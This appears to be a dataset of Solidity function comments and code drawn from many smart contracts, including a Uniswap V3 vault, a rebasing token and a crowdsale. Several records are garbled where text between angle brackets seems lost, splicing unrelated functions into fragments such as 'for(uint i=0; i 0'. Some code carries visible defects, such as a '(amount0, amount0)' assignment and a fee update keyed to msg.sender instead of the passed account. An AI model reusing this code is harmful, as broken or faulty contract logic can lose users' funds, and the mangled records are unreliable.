`LiquidityAmounts.getLiquidityForAmounts()`.\n/// @param pool Uniswap V3 pool\n/// @param amount0 The amount of token0\n/// @param amount1 The amount of token1\n/// @param _tickLower The lower tick of the range\n/// @param _tickUpper The upper tick of the range\n/// @return The maximum amount of liquidity that can be held amount0 and amount1", "function_code": "function liquidityForAmounts(\r\n IUniswapV3Pool pool,\r\n uint256 amount0,\r\n uint256 amount1,\r\n int24 _tickLower,\r\n int24 _tickUpper\r\n ) internal view returns (uint128) {\r\n //Get current price from the pool\r\n (uint160 sqrtRatioX96, , , , , , ) = pool.slot0();\r\n\r\n return\r\n LiquidityAmounts.getLiquidityForAmounts(\r\n sqrtRatioX96,\r\n TickMath.getSqrtRatioAtTick(_tickLower),\r\n TickMath.getSqrtRatioAtTick(_tickUpper),\r\n amount0,\r\n amount1\r\n );\r\n }", "version": "0.7.6"} {"comment": "/// @dev Amounts of token0 and token1 held in contract position.\n/// @param pool Uniswap V3 pool\n/// @param _tickLower The lower tick of the range\n/// @param _tickUpper The upper tick of the range\n/// @return amount0 The amount of token0 held in position\n/// @return amount1 The amount of token1 held in position", "function_code": "function positionAmounts(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper)\r\n internal\r\n view\r\n returns (uint256 amount0, uint256 amount1)\r\n { \r\n //Compute position key\r\n bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper);\r\n //Get Position.Info for specified ticks\r\n (uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) =\r\n pool.positions(positionKey);\r\n // Calc amounts of token0 and token1 including fees\r\n (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper);\r\n amount0 = amount0.add(uint256(tokensOwed0));\r\n amount1 = amount1.add(uint256(tokensOwed1));\r\n }", "version": "0.7.6"} {"comment": "/// @dev Amount of liquidity in contract position.\n/// @param pool Uniswap V3 pool\n/// @param _tickLower The lower tick of the range\n/// @param _tickUpper The upper tick of the range\n/// @return liquidity stored in position", "function_code": "function positionLiquidity(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper)\r\n internal\r\n view\r\n returns (uint128 liquidity)\r\n {\r\n //Compute position key\r\n bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper);\r\n //Get liquidity stored in position\r\n (liquidity, , , , ) = pool.positions(positionKey);\r\n }", "version": "0.7.6"} {"comment": "/// @dev Rounds tick down towards negative infinity so that it's a multiple\n/// of `tickSpacing`.", "function_code": "function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) {\r\n int24 compressed = tick / tickSpacing;\r\n if (tick < 0 && tick % tickSpacing != 0) compressed--;\r\n return compressed * tickSpacing;\r\n }", "version": "0.7.6"} {"comment": "/// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks\n/// @param pool Uniswap V3 pool\n/// @param amount0Desired The desired amount of token0\n/// @param amount1Desired The desired amount of token1\n/// @param _tickLower The lower tick of the range\n/// @param _tickUpper The upper tick of the range\n/// @return amount0 amounts of token0 that can be stored in range\n/// @return amount1 amounts of token1 that can be stored in range", "function_code": "function amountsForTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper) internal view returns(uint256 amount0, uint256 amount1) {\r\n uint128 liquidity = liquidityForAmounts(pool, amount0Desired, amount1Desired, _tickLower, _tickUpper);\r\n\r\n (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper);\r\n }", "version": "0.7.6"} {"comment": "// Check price has not moved a lot recently. This mitigates price\n// manipulation during rebalance and also prevents placing orders\n// when it's too volatile.", "function_code": "function checkDeviation(IUniswapV3Pool pool, int24 maxTwapDeviation, uint32 twapDuration) internal view {\r\n (, int24 currentTick, , , , , ) = pool.slot0();\r\n int24 twap = getTwap(pool, twapDuration);\r\n int24 deviation = currentTick > twap ? currentTick - twap : twap - currentTick;\r\n require(deviation <= maxTwapDeviation, \"PSC\");\r\n }", "version": "0.7.6"} {"comment": "/// @dev Fetches time-weighted average price in ticks from Uniswap pool for specified duration", "function_code": "function getTwap(IUniswapV3Pool pool, uint32 twapDuration) internal view returns (int24) {\r\n uint32 _twapDuration = twapDuration;\r\n uint32[] memory secondsAgo = new uint32[](2);\r\n secondsAgo[0] = _twapDuration;\r\n secondsAgo[1] = 0;\r\n\r\n (int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);\r\n return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Withdraws liquidity in share proportion to the Sorbetto's totalSupply.\r\n * @param pool Uniswap V3 pool\r\n * @param tickLower The lower tick of the range\r\n * @param tickUpper The upper tick of the range\r\n * @param totalSupply The amount of total shares in existence\r\n * @param share to burn\r\n * @param to Recipient of amounts\r\n * @return amount0 Amount of token0 withdrawed\r\n * @return amount1 Amount of token1 withdrawed\r\n */", "function_code": "function burnLiquidityShare(\r\n IUniswapV3Pool pool,\r\n int24 tickLower,\r\n int24 tickUpper,\r\n uint256 totalSupply,\r\n uint256 share,\r\n address to\r\n ) internal returns (uint256 amount0, uint256 amount1) {\r\n require(totalSupply > 0, \"TS\");\r\n uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper);\r\n uint256 liquidity = uint256(liquidityInPool).mul(share) / totalSupply;\r\n \r\n\r\n if (liquidity > 0) {\r\n (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity.toUint128());\r\n\r\n if (amount0 > 0 || amount1 > 0) {\r\n // collect liquidity share\r\n (amount0, amount1) = pool.collect(\r\n to,\r\n tickLower,\r\n tickUpper,\r\n amount0.toUint128(),\r\n amount1.toUint128()\r\n );\r\n }\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Withdraws exact amount of liquidity\r\n * @param pool Uniswap V3 pool\r\n * @param tickLower The lower tick of the range\r\n * @param tickUpper The upper tick of the range\r\n * @param liquidity to burn\r\n * @param to Recipient of amounts\r\n * @return amount0 Amount of token0 withdrawed\r\n * @return amount1 Amount of token1 withdrawed\r\n */", "function_code": "function burnExactLiquidity(\r\n IUniswapV3Pool pool,\r\n int24 tickLower,\r\n int24 tickUpper,\r\n uint128 liquidity,\r\n address to\r\n ) internal returns (uint256 amount0, uint256 amount1) {\r\n uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper);\r\n require(liquidityInPool >= liquidity, \"TML\");\r\n (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity);\r\n\r\n if (amount0 > 0 || amount1 > 0) {\r\n // collect liquidity share including earned fees\r\n (amount0, amount0) = pool.collect(\r\n to,\r\n tickLower,\r\n tickUpper,\r\n amount0.toUint128(),\r\n amount1.toUint128()\r\n );\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Withdraws all liquidity in a range from Uniswap pool\r\n * @param pool Uniswap V3 pool\r\n * @param tickLower The lower tick of the range\r\n * @param tickUpper The upper tick of the range\r\n */", "function_code": "function burnAllLiquidity(\r\n IUniswapV3Pool pool,\r\n int24 tickLower,\r\n int24 tickUpper\r\n ) internal {\r\n \r\n // Burn all liquidity in this range\r\n uint128 liquidity = pool.positionLiquidity(tickLower, tickUpper);\r\n if (liquidity > 0) {\r\n pool.burn(tickLower, tickUpper, liquidity);\r\n }\r\n \r\n // Collect all owed tokens\r\n pool.collect(\r\n address(this),\r\n tickLower,\r\n tickUpper,\r\n type(uint128).max,\r\n type(uint128).max\r\n );\r\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Returns imageIds for a range of token ids\n * @param startTokenId first token id in the range\n * @param rangeLength length of the range\n * @return imgIds array of image ids\n */", "function_code": "function imageIdsForRange(uint256 startTokenId, uint256 rangeLength) public view returns (bytes32[] memory imgIds) {\n imgIds = new bytes32[](rangeLength);\n uint256 i = startTokenId;\n for (uint256 c = 0; c < rangeLength; c++) {\n imgIds[c] = imageId(i);\n i++;\n }\n }", "version": "0.8.10"} {"comment": "/// @notice Gets the next sqrt price given a delta of token0\n/// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least\n/// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the\n/// price less in order to not send too much output.\n/// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),\n/// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).\n/// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta\n/// @param liquidity The amount of usable liquidity\n/// @param amount How much of token0 to add or remove from virtual reserves\n/// @param add Whether to add or remove the amount of token0\n/// @return The price after adding or removing amount, depending on add", "function_code": "function getNextSqrtPriceFromAmount0RoundingUp(\r\n uint160 sqrtPX96,\r\n uint128 liquidity,\r\n uint256 amount,\r\n bool add\r\n ) internal pure returns (uint160) {\r\n // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price\r\n if (amount == 0) return sqrtPX96;\r\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\r\n\r\n if (add) {\r\n uint256 product;\r\n if ((product = amount * sqrtPX96) / amount == sqrtPX96) {\r\n uint256 denominator = numerator1 + product;\r\n if (denominator >= numerator1)\r\n // always fits in 160 bits\r\n return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));\r\n }\r\n\r\n return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));\r\n } else {\r\n uint256 product;\r\n // if the product overflows, we know the denominator underflows\r\n // in addition, we must check that the denominator does not underflow\r\n require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);\r\n uint256 denominator = numerator1 - product;\r\n return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();\r\n }\r\n }", "version": "0.7.6"} {"comment": "/// @notice Gets the next sqrt price given a delta of token1\n/// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least\n/// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the\n/// price less in order to not send too much output.\n/// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity\n/// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta\n/// @param liquidity The amount of usable liquidity\n/// @param amount How much of token1 to add, or remove, from virtual reserves\n/// @param add Whether to add, or remove, the amount of token1\n/// @return The price after adding or removing `amount`", "function_code": "function getNextSqrtPriceFromAmount1RoundingDown(\r\n uint160 sqrtPX96,\r\n uint128 liquidity,\r\n uint256 amount,\r\n bool add\r\n ) internal pure returns (uint160) {\r\n // if we're adding (subtracting), rounding down requires rounding the quotient down (up)\r\n // in both cases, avoid a mulDiv for most inputs\r\n if (add) {\r\n uint256 quotient =\r\n (\r\n amount <= type(uint160).max\r\n ? (amount << FixedPoint96.RESOLUTION) / liquidity\r\n : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)\r\n );\r\n\r\n return uint256(sqrtPX96).add(quotient).toUint160();\r\n } else {\r\n uint256 quotient =\r\n (\r\n amount <= type(uint160).max\r\n ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)\r\n : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)\r\n );\r\n\r\n require(sqrtPX96 > quotient);\r\n // always fits 160 bits\r\n return uint160(sqrtPX96 - quotient);\r\n }\r\n }", "version": "0.7.6"} {"comment": "//initialize strategy", "function_code": "function init() external onlyGovernance {\r\n require(!finalized, \"F\");\r\n finalized = true;\r\n int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier();\r\n ( , int24 currentTick, , , , , ) = pool.slot0();\r\n int24 tickFloor = PoolVariables.floor(currentTick, tickSpacing);\r\n \r\n tickLower = tickFloor - baseThreshold;\r\n tickUpper = tickFloor + baseThreshold;\r\n PoolVariables.checkRange(tickLower, tickUpper); //check ticks also for overflow/underflow\r\n }", "version": "0.7.6"} {"comment": "/// @inheritdoc ISorbettoFragola", "function_code": "function deposit(\r\n uint256 amount0Desired,\r\n uint256 amount1Desired\r\n )\r\n external\r\n payable\r\n override\r\n nonReentrant\r\n checkDeviation\r\n updateVault(msg.sender)\r\n returns (\r\n uint256 shares,\r\n uint256 amount0,\r\n uint256 amount1\r\n )\r\n {\r\n require(amount0Desired > 0 && amount1Desired > 0, \"ANV\");\r\n uint128 liquidityLast = pool.positionLiquidity(tickLower, tickUpper);\r\n // compute the liquidity amount\r\n uint128 liquidity = pool.liquidityForAmounts(amount0Desired, amount1Desired, tickLower, tickUpper);\r\n \r\n (amount0, amount1) = pool.mint(\r\n address(this),\r\n tickLower,\r\n tickUpper,\r\n liquidity,\r\n abi.encode(MintCallbackData({payer: msg.sender})));\r\n\r\n shares = _calcShare(liquidity, liquidityLast);\r\n\r\n _mint(msg.sender, shares);\r\n refundETH();\r\n emit Deposit(msg.sender, shares, amount0, amount1);\r\n }", "version": "0.7.6"} {"comment": "/// @dev collects fees from the pool", "function_code": "function _earnFees() internal returns (uint256 userCollect0, uint256 userCollect1) {\r\n // Do zero-burns to poke the Uniswap pools so earned fees are updated\r\n pool.burn(tickLower, tickUpper, 0);\r\n \r\n (uint256 collect0, uint256 collect1) =\r\n pool.collect(\r\n address(this),\r\n tickLower,\r\n tickUpper,\r\n type(uint128).max,\r\n type(uint128).max\r\n );\r\n\r\n // Calculate protocol's and users share of fees\r\n uint256 feeToProtocol0 = collect0.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER);\r\n uint256 feeToProtocol1 = collect1.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER);\r\n accruedProtocolFees0 = accruedProtocolFees0.add(feeToProtocol0);\r\n accruedProtocolFees1 = accruedProtocolFees1.add(feeToProtocol1);\r\n userCollect0 = collect0.sub(feeToProtocol0);\r\n userCollect1 = collect1.sub(feeToProtocol1);\r\n usersFees0 = usersFees0.add(userCollect0);\r\n usersFees1 = usersFees1.add(userCollect1);\r\n emit CollectFees(collect0, collect1, usersFees0, usersFees1);\r\n }", "version": "0.7.6"} {"comment": "/// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.\n/// @dev In the implementation you must pay to the pool for the minted liquidity.\n/// @param amount0 The amount of token0 due to the pool for the minted liquidity\n/// @param amount1 The amount of token1 due to the pool for the minted liquidity\n/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call", "function_code": "function uniswapV3MintCallback(\r\n uint256 amount0,\r\n uint256 amount1,\r\n bytes calldata data\r\n ) external {\r\n require(msg.sender == address(pool), \"FP\");\r\n MintCallbackData memory decoded = abi.decode(data, (MintCallbackData));\r\n if (amount0 > 0) pay(token0, decoded.payer, msg.sender, amount0);\r\n if (amount1 > 0) pay(token1, decoded.payer, msg.sender, amount1);\r\n }", "version": "0.7.6"} {"comment": "/// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap.\n/// @dev In the implementation you must pay to the pool for swap.\n/// @param amount0 The amount of token0 due to the pool for the swap\n/// @param amount1 The amount of token1 due to the pool for the swap\n/// @param _data Any data passed through by the caller via the IUniswapV3PoolActions#swap call", "function_code": "function uniswapV3SwapCallback(\r\n int256 amount0,\r\n int256 amount1,\r\n bytes calldata _data\r\n ) external {\r\n require(msg.sender == address(pool), \"FP\");\r\n require(amount0 > 0 || amount1 > 0); // swaps entirely within 0-liquidity regions are not supported\r\n SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData));\r\n bool zeroForOne = data.zeroForOne;\r\n\r\n if (zeroForOne) pay(token0, address(this), msg.sender, uint256(amount0)); \r\n else pay(token1, address(this), msg.sender, uint256(amount1));\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Used to withdraw accumulated protocol fees.\r\n */", "function_code": "function collectProtocolFees(\r\n uint256 amount0,\r\n uint256 amount1\r\n ) external nonReentrant onlyGovernance updateVault(address(0)) {\r\n require(accruedProtocolFees0 >= amount0, \"A0F\");\r\n require(accruedProtocolFees1 >= amount1, \"A1F\");\r\n \r\n uint256 balance0 = _balance0();\r\n uint256 balance1 = _balance1();\r\n \r\n if (balance0 >= amount0 && balance1 >= amount1)\r\n {\r\n if (amount0 > 0) pay(token0, address(this), msg.sender, amount0);\r\n if (amount1 > 0) pay(token1, address(this), msg.sender, amount1);\r\n }\r\n else\r\n {\r\n uint128 liquidity = pool.liquidityForAmounts(amount0, amount1, tickLower, tickUpper);\r\n pool.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender);\r\n \r\n }\r\n \r\n accruedProtocolFees0 = accruedProtocolFees0.sub(amount0);\r\n accruedProtocolFees1 = accruedProtocolFees1.sub(amount1);\r\n emit RewardPaid(msg.sender, amount0, amount1);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Used to withdraw accumulated user's fees.\r\n */", "function_code": "function collectFees(uint256 amount0, uint256 amount1) external nonReentrant updateVault(msg.sender) {\r\n UserInfo storage user = userInfo[msg.sender];\r\n\r\n require(user.token0Rewards >= amount0, \"A0R\");\r\n require(user.token1Rewards >= amount1, \"A1R\");\r\n\r\n uint256 balance0 = _balance0();\r\n uint256 balance1 = _balance1();\r\n\r\n if (balance0 >= amount0 && balance1 >= amount1) {\r\n\r\n if (amount0 > 0) pay(token0, address(this), msg.sender, amount0);\r\n if (amount1 > 0) pay(token1, address(this), msg.sender, amount1);\r\n }\r\n else {\r\n \r\n uint128 liquidity = pool.liquidityForAmounts(amount0, amount1, tickLower, tickUpper);\r\n (amount0, amount1) = pool.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender);\r\n }\r\n user.token0Rewards = user.token0Rewards.sub(amount0);\r\n user.token1Rewards = user.token1Rewards.sub(amount1);\r\n emit RewardPaid(msg.sender, amount0, amount1);\r\n }", "version": "0.7.6"} {"comment": "// Updates user's fees reward", "function_code": "function _updateFeesReward(address account) internal {\r\n uint liquidity = pool.positionLiquidity(tickLower, tickUpper);\r\n if (liquidity == 0) return; // we can't poke when liquidity is zero\r\n (uint256 collect0, uint256 collect1) = _earnFees();\r\n \r\n \r\n token0PerShareStored = _tokenPerShare(collect0, token0PerShareStored);\r\n token1PerShareStored = _tokenPerShare(collect1, token1PerShareStored);\r\n\r\n if (account != address(0)) {\r\n UserInfo storage user = userInfo[msg.sender];\r\n user.token0Rewards = _fee0Earned(account, token0PerShareStored);\r\n user.token0PerSharePaid = token0PerShareStored;\r\n \r\n user.token1Rewards = _fee1Earned(account, token1PerShareStored);\r\n user.token1PerSharePaid = token1PerShareStored;\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * Convienience function for the Curator to calculate the required amount of Wei\r\n * that needs to be transferred to this contract.\r\n */", "function_code": "function requiredEndowment() constant returns (uint endowment) {\r\n uint sum = 0;\r\n for(uint i=0; i 0, \"set an amount > 0\");\n uint256 balanceBefore = IERC20(_tokenReward).balanceOf(address(this));\n require(balanceBefore >= _amount, \"amount not enough\");\n if (ILiquidityGauge(gauge).reward_data(_tokenReward).distributor != address(0)) {\n IERC20(_tokenReward).approve(gauge, _amount);\n ILiquidityGauge(gauge).deposit_reward_token(_tokenReward, _amount);\n uint256 balanceAfter = IERC20(_tokenReward).balanceOf(address(this));\n require(balanceBefore - balanceAfter == _amount, \"wrong amount notified\");\n emit RewardNotified(gauge, _tokenReward, _amount);\n }\n }", "version": "0.8.7"} {"comment": "/// @notice A function that rescue any ERC20 token\n/// @param _token token address \n/// @param _amount amount to rescue\n/// @param _recipient address to send token rescued", "function_code": "function rescueERC20(\n\t\taddress _token,\n\t\tuint256 _amount,\n\t\taddress _recipient\n\t) external {\n require(msg.sender == governance, \"!gov\");\n require(_amount > 0, \"set an amount > 0\");\n\t\trequire(_recipient != address(0), \"can't be zero address\");\n\t\tIERC20(_token).safeTransfer(_recipient, _amount);\n\t\temit ERC20Rescued(_token, _amount);\n\t}", "version": "0.8.7"} {"comment": "/**\r\n * Get the possibleResultsCount of an Event.Output as uint.\r\n * Should be changed in a future version to use an Oracle function that directly returns possibleResultsCount instead of receive the whole eventOutputs structure\r\n */", "function_code": "function getEventOutputMaxUint(address oracleAddress, uint eventId, uint outputId) private view returns (uint) {\r\n (bool isSet, string memory title, uint possibleResultsCount, uint eventOutputType, string memory announcement, uint decimals) = OracleContract(oracleAddress).eventOutputs(eventId,outputId);\r\n return 2 ** possibleResultsCount - 1;\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * Settle fees of Oracle and House for a bet\r\n */", "function_code": "function settleBetFees(uint betId) onlyOwner public {\r\n require(bets[betId].isCancelled || bets[betId].isOutcomeSet,\"Bet should be cancelled or has an outcome\");\r\n require(bets[betId].freezeDateTime <= now,\"Bet payments are freezed\");\r\n if (!housePaid[betId] && houseEdgeAmountForBet[betId] > 0) {\r\n for (uint i = 0; i 0) {\r\n address oracleOwner = HouseContract(bets[betId].oracleAddress).owner();\r\n balance[oracleOwner] += oracleEdgeAmountForBet[betId];\r\n oracleTotalFees[bets[betId].oracleAddress] += oracleEdgeAmountForBet[betId];\r\n }\r\n housePaid[betId] = true;\r\n }", "version": "0.5.2"} {"comment": "/**\n * @dev Use this function to withdraw released tokens\n *\n */", "function_code": "function withdrawTrb() external {\n uint256 _availableBalance = ITellor(tellorAddress).balanceOf(address(this));\n if(_availableBalance > maxAmount){\n maxAmount = _availableBalance;\n }\n uint256 _releasedAmount = maxAmount * (block.timestamp - lastReleaseTime)/(86400* 365 * 2); //2 year payout \n if(_releasedAmount > _availableBalance){\n _releasedAmount = _availableBalance;\n }\n lastReleaseTime = block.timestamp;\n ITellor(tellorAddress).transfer(beneficiary, _releasedAmount);\n emit TokenWithdrawal(_releasedAmount);\n }", "version": "0.8.3"} {"comment": "// We use parameter '_tokenId' as the divisibility", "function_code": "function transfer(address _to, uint256 _tokenId) external {\r\n\r\n // Requiring this contract be tradable\r\n require(tradable == true);\r\n\r\n require(_to != address(0));\r\n require(msg.sender != _to);\r\n\r\n // Take _tokenId as divisibility\r\n uint256 _divisibility = _tokenId;\r\n\r\n // Requiring msg.sender has Holdings of Forever rose\r\n require(tokenToOwnersHoldings[foreverRoseId][msg.sender] >= _divisibility);\r\n\r\n \r\n // Remove divisibilitys from old owner\r\n _removeShareFromLastOwner(msg.sender, foreverRoseId, _divisibility);\r\n _removeLastOwnerHoldingsFromToken(msg.sender, foreverRoseId, _divisibility);\r\n\r\n // Add divisibilitys to new owner\r\n _addNewOwnerHoldingsToToken(_to, foreverRoseId, _divisibility);\r\n _addShareToNewOwner(_to, foreverRoseId, _divisibility);\r\n\r\n // Trigger Ethereum Event\r\n Transfer(msg.sender, _to, foreverRoseId);\r\n\r\n }", "version": "0.4.18"} {"comment": "// Transfer gift to a new owner.", "function_code": "function assignSharedOwnership(address _to, uint256 _divisibility)\r\n onlyOwner external returns (bool success) \r\n {\r\n\r\n require(_to != address(0));\r\n require(msg.sender != _to);\r\n require(_to != address(this));\r\n \r\n // Requiring msg.sender has Holdings of Forever rose\r\n require(tokenToOwnersHoldings[foreverRoseId][msg.sender] >= _divisibility);\r\n\r\n //Remove ownership from oldOwner(msg.sender)\r\n _removeLastOwnerHoldingsFromToken(msg.sender, foreverRoseId, _divisibility);\r\n _removeShareFromLastOwner(msg.sender, foreverRoseId, _divisibility);\r\n\r\n //Add ownership to NewOwner(address _to)\r\n _addShareToNewOwner(_to, foreverRoseId, _divisibility); \r\n _addNewOwnerHoldingsToToken(_to, foreverRoseId, _divisibility);\r\n\r\n // Trigger Ethereum Event\r\n Transfer(msg.sender, _to, foreverRoseId);\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\n * @dev mints a given amount of tokens for a given recipient\n *\n * requirements:\n *\n * - the caller must have the ROLE_ADMIN privileges, and the contract must not be paused\n */", "function_code": "function mint(address recipient, uint256 amount) external onlyRole(ROLE_ADMIN) whenNotPaused {\n if (recipient == address(0)) {\n revert InvalidRecipient();\n }\n if (amount == 0) {\n revert InvalidAmount();\n }\n _token.safeTransfer(recipient, amount);\n _totalSupply += amount;\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Allow user's OpenSea proxy accounts to enable gas-less listings\n * @notice Eenable extendibility for the project\n * @param _owner The active owner of the token\n * @param _operator The origin of the action being called\n */", "function_code": "function isApprovedForAll(address _owner, address _operator)\n public\n view\n override\n returns (bool)\n {\n ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddr);\n\n if (\n (address(proxyRegistry.proxies(_owner)) == _operator &&\n !addressToRegistryDisabled[_owner]) || projectProxy[_operator]\n ) {\n return true;\n }\n\n return super.isApprovedForAll(_owner, _operator);\n }", "version": "0.8.9"} {"comment": "/// @notice only l1Target can update greeting", "function_code": "function cudlToL2(address _cudler, uint256 _amount) public {\n // To check that message came from L1, we check that the sender is the L1 contract's L2 alias.\n require(\n msg.sender == AddressAliasHelper.applyL1ToL2Alias(l1Target),\n \"Greeting only updateable by L1\"\n );\n\n /* Here we mint the ERC20 amount to _cudler */\n emit Minted(_cudler, _amount);\n }", "version": "0.8.2"} {"comment": "// burn supply, not negative rebase", "function_code": "function verysmashed() external {\r\n require(!state.paused, \"still paused\");\r\n require(state.lastAttack + state.attackCooldown < block.timestamp, \"Dogira coolingdown\");\r\n uint256 rLp = state.accounts[state.addresses.pool].rTotal;\r\n uint256 amountToDeflate = (rLp / (state.divisors.tokenLPBurn));\r\n uint256 burned = amountToDeflate / ratio();\r\n state.accounts[state.addresses.pool].rTotal -= amountToDeflate;\r\n state.accounts[address(0)].rTotal += amountToDeflate;\r\n state.accounts[address(0)].tTotal += burned;\r\n state.balances.burned += burned;\r\n state.lastAttack = block.timestamp;\r\n syncPool();\r\n emit Smashed(burned);\r\n }", "version": "0.8.1"} {"comment": "// positive rebase", "function_code": "function dogebreath() external {\r\n require(!state.paused, \"still paused\");\r\n require(state.lastAttack + state.attackCooldown < block.timestamp, \"Dogira coolingdown\");\r\n uint256 rate = ratio();\r\n uint256 target = state.balances.burned == 0 ? state.balances.tokenSupply : state.balances.burned;\r\n uint256 amountToInflate = target / state.divisors.inflate;\r\n if(state.balances.burned > amountToInflate) {\r\n state.balances.burned -= amountToInflate;\r\n state.accounts[address(0)].rTotal -= amountToInflate * rate;\r\n state.accounts[address(0)].tTotal -= amountToInflate;\r\n }\r\n // positive rebase\r\n state.balances.networkSupply -= amountToInflate * rate;\r\n state.lastAttack = block.timestamp;\r\n syncPool();\r\n emit Atomacized(amountToInflate);\r\n }", "version": "0.8.1"} {"comment": "// disperse amount to all holders", "function_code": "function wow(uint256 amount) external {\r\n address sender = msg.sender;\r\n uint256 rate = ratio();\r\n require(!getExcluded(sender), \"Excluded addresses can't call this function\");\r\n require(amount * rate < state.accounts[sender].rTotal, \"too much\");\r\n state.accounts[sender].rTotal -= (amount * rate);\r\n state.balances.networkSupply -= amount * rate;\r\n state.balances.fees += amount;\r\n }", "version": "0.8.1"} {"comment": "// award community members from the treasury", "function_code": "function muchSupport(address awardee, uint256 multiplier) external onlyAdminOrOwner {\r\n uint256 n = block.timestamp;\r\n require(!state.paused, \"still paused\");\r\n require(state.accounts[awardee].lastShill + 1 days < n, \"nice shill but need to wait\");\r\n require(!getExcluded(awardee), \"excluded addresses can't be awarded\");\r\n require(multiplier <= 100 && multiplier > 0, \"can't be more than .1% of dogecity reward\");\r\n uint256 level = getLevel(awardee);\r\n if(level > levelCap) {\r\n level = levelCap; // capped at 10\r\n } else if (level <= 0) {\r\n level = 1;\r\n }\r\n uint256 p = ((state.accounts[state.addresses.dogecity].rTotal / 100000) * multiplier) * level; // .001% * m of dogecity * level\r\n state.accounts[state.addresses.dogecity].rTotal -= p;\r\n state.accounts[awardee].rTotal += p;\r\n state.accounts[awardee].lastShill = block.timestamp;\r\n state.accounts[awardee].communityPoints += multiplier;\r\n emit Hooray(awardee, p);\r\n }", "version": "0.8.1"} {"comment": "// burn amount, for cex integration?", "function_code": "function suchburn(uint256 amount) external {\r\n address sender = msg.sender;\r\n uint256 rate = ratio();\r\n require(!getExcluded(sender), \"Excluded addresses can't call this function\");\r\n require(amount * rate < state.accounts[sender].rTotal, \"too much\");\r\n state.accounts[sender].rTotal -= (amount * rate);\r\n state.accounts[address(0)].rTotal += (amount * rate);\r\n state.accounts[address(0)].tTotal += (amount);\r\n state.balances.burned += amount;\r\n syncPool();\r\n emit Blazed(amount);\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev See {IERC721Enumerable-totalSupply}.\r\n * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.\r\n */", "function_code": "function totalSupply() public view returns (uint256) {\r\n // Counter underflow is impossible as _burnCounter cannot be incremented\r\n // more than _currentIndex - _startTokenId() times\r\n unchecked {\r\n return _currentIndex - _burnCounter - _startTokenId();\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * Returns the total amount of tokens minted in the contract.\r\n */", "function_code": "function _totalMinted() internal view returns (uint256) {\r\n // Counter underflow is impossible as _currentIndex does not decrement,\r\n // and it is initialized to _startTokenId()\r\n unchecked {\r\n return _currentIndex - _startTokenId();\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev CraftyCrowdsale constructor sets the token, period and exchange rate\r\n * @param _token The address of Crafty Token.\r\n * @param _preSaleStart The start time of pre-sale.\r\n * @param _preSaleEnd The end time of pre-sale.\r\n * @param _saleStart The start time of sale.\r\n * @param _saleEnd The end time of sale.\r\n * @param _rate The exchange rate of tokens.\r\n */", "function_code": "function CraftyCrowdsale(address _token, uint256 _preSaleStart, uint256 _preSaleEnd, uint256 _saleStart, uint256 _saleEnd, uint256 _rate) public {\r\n require(_token != address(0));\r\n require(_preSaleStart < _preSaleEnd && _preSaleEnd < _saleStart && _saleStart < _saleEnd);\r\n require(_rate > 